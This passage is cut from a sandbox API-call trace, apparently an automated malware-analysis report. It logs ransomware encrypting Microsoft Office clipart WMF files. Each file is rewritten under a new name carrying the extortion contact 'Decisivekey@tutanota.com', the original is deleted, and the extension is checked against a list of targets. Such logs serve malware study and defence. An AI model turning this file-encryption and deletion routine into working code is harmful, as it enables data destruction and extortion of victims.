lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.281] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.282] SetEndOfFile (hFile=0x1f0) returned 1 [0220.282] CloseHandle (hObject=0x1f0) returned 1 [0220.282] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.282] SetEndOfFile (hFile=0x220) returned 1 [0220.282] CloseHandle (hObject=0x220) returned 1 [0220.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0220.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0220.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0220.283] lstrlenW (lpString=".doc") returned 4 [0220.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString=".docx") returned 5 [0220.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.283] lstrlenW (lpString=".pdf") returned 4 [0220.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString=".xls") returned 4 [0220.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.283] lstrlenW (lpString=".xlsx") returned 5 [0220.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.283] lstrlenW (lpString=".ppt") returned 4 [0220.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0220.288] lstrlenW (lpString=".zip") returned 4 [0220.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.288] lstrlenW (lpString=".rar") returned 4 [0220.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.288] lstrlenW (lpString=".bz2") returned 4 [0220.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.288] lstrlenW (lpString=".7z") returned 3 [0220.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0220.288] lstrlenW (lpString=".dbf") returned 4 [0220.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0220.288] lstrlenW (lpString=".1cd") returned 4 [0220.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0220.288] lstrlenW (lpString=".jpg") returned 4 [0220.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.289] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.289] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.289] GetLastError () returned 0x0 [0220.289] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x804, lpOverlapped=0x0) returned 1 [0220.300] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x810, lpOverlapped=0x0) returned 1 [0220.301] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.301] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.301] SetEndOfFile (hFile=0x1f0) returned 1 [0220.301] CloseHandle (hObject=0x1f0) returned 1 [0220.301] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.301] SetEndOfFile (hFile=0x220) returned 1 [0220.302] CloseHandle (hObject=0x220) returned 1 [0220.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0220.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0220.303] lstrlenW (lpString=".doc") returned 4 [0220.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString=".docx") returned 5 [0220.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.303] lstrlenW (lpString=".pdf") returned 4 [0220.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString=".xls") returned 4 [0220.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.303] lstrlenW (lpString=".xlsx") returned 5 [0220.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.303] lstrlenW (lpString=".ppt") returned 4 [0220.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0220.303] lstrlenW (lpString=".zip") returned 4 [0220.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.303] lstrlenW (lpString=".rar") returned 4 [0220.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString=".bz2") returned 4 [0220.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString=".7z") returned 3 [0220.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0220.303] lstrlenW (lpString=".dbf") returned 4 [0220.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0220.303] lstrlenW (lpString=".1cd") returned 4 [0220.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0220.303] lstrlenW (lpString=".jpg") returned 4 [0220.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.304] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1888) returned 1 [0220.304] CloseHandle (hObject=0x220) returned 1 [0220.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0220.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.304] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.304] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.304] GetLastError () returned 0x0 [0220.305] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x760, lpOverlapped=0x0) returned 1 [0220.320] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x770, lpOverlapped=0x0) returned 1 [0220.320] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.320] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.321] SetEndOfFile (hFile=0x1f0) returned 1 [0220.321] CloseHandle (hObject=0x1f0) returned 1 [0220.321] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.321] SetEndOfFile (hFile=0x220) returned 1 [0220.321] CloseHandle (hObject=0x220) returned 1 [0220.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0220.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0220.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0220.322] lstrlenW (lpString=".doc") returned 4 [0220.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString=".docx") returned 5 [0220.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.322] lstrlenW (lpString=".pdf") returned 4 [0220.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString=".xls") returned 4 [0220.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.322] lstrlenW (lpString=".xlsx") returned 5 [0220.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.322] lstrlenW (lpString=".ppt") returned 4 [0220.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0220.322] lstrlenW (lpString=".zip") returned 4 [0220.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.322] lstrlenW (lpString=".rar") returned 4 [0220.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString=".bz2") returned 4 [0220.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString=".7z") returned 3 [0220.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0220.322] lstrlenW (lpString=".dbf") returned 4 [0220.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0220.322] lstrlenW (lpString=".1cd") returned 4 [0220.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0220.322] lstrlenW (lpString=".jpg") returned 4 [0220.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.323] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3796) returned 1 [0220.323] CloseHandle (hObject=0x220) returned 1 [0220.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0220.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.323] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.323] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.323] GetLastError () returned 0x0 [0220.323] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xed4, lpOverlapped=0x0) returned 1 [0220.329] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0220.330] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.330] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.330] SetEndOfFile (hFile=0x1f0) returned 1 [0220.330] CloseHandle (hObject=0x1f0) returned 1 [0220.330] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.330] SetEndOfFile (hFile=0x220) returned 1 [0220.331] CloseHandle (hObject=0x220) returned 1 [0220.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0220.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0220.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0220.331] lstrlenW (lpString=".doc") returned 4 [0220.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.331] lstrlenW (lpString=".docx") returned 5 [0220.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.332] lstrlenW (lpString=".pdf") returned 4 [0220.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.332] lstrlenW (lpString=".xls") returned 4 [0220.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.332] lstrlenW (lpString=".xlsx") returned 5 [0220.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.332] lstrlenW (lpString=".ppt") returned 4 [0220.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0220.332] lstrlenW (lpString=".zip") returned 4 [0220.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.332] lstrlenW (lpString=".rar") returned 4 [0220.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.332] lstrlenW (lpString=".bz2") returned 4 [0220.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.332] lstrlenW (lpString=".7z") returned 3 [0220.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0220.332] lstrlenW (lpString=".dbf") returned 4 [0220.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0220.332] lstrlenW (lpString=".1cd") returned 4 [0220.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0220.332] lstrlenW (lpString=".jpg") returned 4 [0220.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.333] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2084) returned 1 [0220.333] CloseHandle (hObject=0x220) returned 1 [0220.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0220.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.333] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.333] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.333] GetLastError () returned 0x0 [0220.334] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x824, lpOverlapped=0x0) returned 1 [0220.334] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x830, lpOverlapped=0x0) returned 1 [0220.335] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.335] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.336] SetEndOfFile (hFile=0x1f0) returned 1 [0220.336] CloseHandle (hObject=0x1f0) returned 1 [0220.336] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.336] SetEndOfFile (hFile=0x220) returned 1 [0220.336] CloseHandle (hObject=0x220) returned 1 [0220.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0220.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0220.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0220.337] lstrlenW (lpString=".doc") returned 4 [0220.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString=".docx") returned 5 [0220.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.337] lstrlenW (lpString=".pdf") returned 4 [0220.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString=".xls") returned 4 [0220.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.337] lstrlenW (lpString=".xlsx") returned 5 [0220.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.337] lstrlenW (lpString=".ppt") returned 4 [0220.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0220.337] lstrlenW (lpString=".zip") returned 4 [0220.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.337] lstrlenW (lpString=".rar") returned 4 [0220.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString=".bz2") returned 4 [0220.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString=".7z") returned 3 [0220.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0220.337] lstrlenW (lpString=".dbf") returned 4 [0220.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0220.337] lstrlenW (lpString=".1cd") returned 4 [0220.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0220.337] lstrlenW (lpString=".jpg") returned 4 [0220.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.556] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.556] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 